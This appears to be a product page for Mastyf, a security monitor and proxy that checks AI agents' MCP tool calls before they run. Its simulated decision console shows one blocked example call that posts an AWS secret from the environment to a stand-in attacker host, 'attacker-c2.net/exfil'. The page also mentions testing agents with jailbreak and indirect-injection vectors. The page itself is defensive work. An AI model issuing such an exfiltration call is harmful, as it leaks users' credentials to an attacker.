How enforcement works
The gates every tool call passes, a step-through decision console, and the platform components.
Enforcement gates
Mastyf sits on the MCP transport between the agent and its tools. Every tool invocation is intercepted and evaluated before dispatch. Shield runs four gates in order; if any check fails, the call is severed before a single byte reaches the backend.
Gate 1 (Schema & Parse Clamping): Validates tool name and argument JSON structures against pre-compiled AST schemas. Drops malformed or oversized payloads in under 1 microsecond.
Decision console
Step through four tool calls and see the decision for each: the client, the invariant that fired, and what reached the tool.
Simulated calls. Cycling every 6s; pick one to hold it.
- Client
- Cursor Agent (MCP)
- Tool
network.http_post- Taint class
- OWASP ASI-01 / DIFC Violation
- Invariant
difc.taint.untrusted_egress_sink
{"url": "https://attacker-c2.net/exfil", "data": "env.AWS_SECRET"}Kernel invariantUntrusted taint tag propagated from web context prohibited from accessing egress socket sink.
Platform components
Five components, from a developer desktop sidecar to enterprise fleet governance.
Mastyf Shield
Appliance and sidecarA reference monitor that runs as a lightweight sidecar alongside your agent processes. Evaluates every tool invocation across 4 deterministic gates, in about 1.5 ms. If any check fails, the transport wire is severed before a single byte reaches the backend.
Mastyf Gateway
Runtime reverse proxyHigh-throughput fail-closed reverse proxy for MCP JSON-RPC, stdio, and HTTP tool calls. Its rules decide in about 1.5 ms per call.
Explore Gateway docsMastyf Swarm
Adversarial CI/CDAutomated adversarial runner that stress-tests your agent’s execution boundary before deployment using thousands of multi-turn jailbreak and indirect injection vectors.
Run Swarm in CIMastyf Trust
MCP supply chainStatic vulnerability scanner and behavioral registry for Model Context Protocol (MCP) servers. Detects excessive permissions, environment leaks, and known CVEs.
Look up MCP server trustMastyf Control Plane
Enterprise fleet governanceCentralized dashboard and policy distribution network for enterprise agent deployments. Distribute signed YAML policies across thousands of agent runners, verify Ed25519-signed, tamper-evident audit trails, and stream events to your SIEM.
SOC2, ISO 27001 ready- Cryptographic audit
- Ed25519 signed receiptsrcpt_msh_89f02c91a0...
- Enterprise telemetry
- Real-time SIEM forwardingDatadog, Splunk, S3
- Identity and RBAC
- SSO and team workspacesGoogle and GitHub OAuth
Integrations
Works with any client, IDE, or framework that speaks the Model Context Protocol. For step-by-step setup, see Connect your agent.
- Claude DesktopMCP native
- Cursor AIAgent IDE
- Windsurf / CodeiumFlow agent
- LangChainAgent mesh
- LlamaIndexData agents
- OpenAI SwarmMulti-agent
- Model Context ProtocolStandard
- AutoGenConversational
- Python SDKIntegration
- Docker ComposeContainer
- Agent integrations
- 10+
- Rule check, median
- ~1.5 ms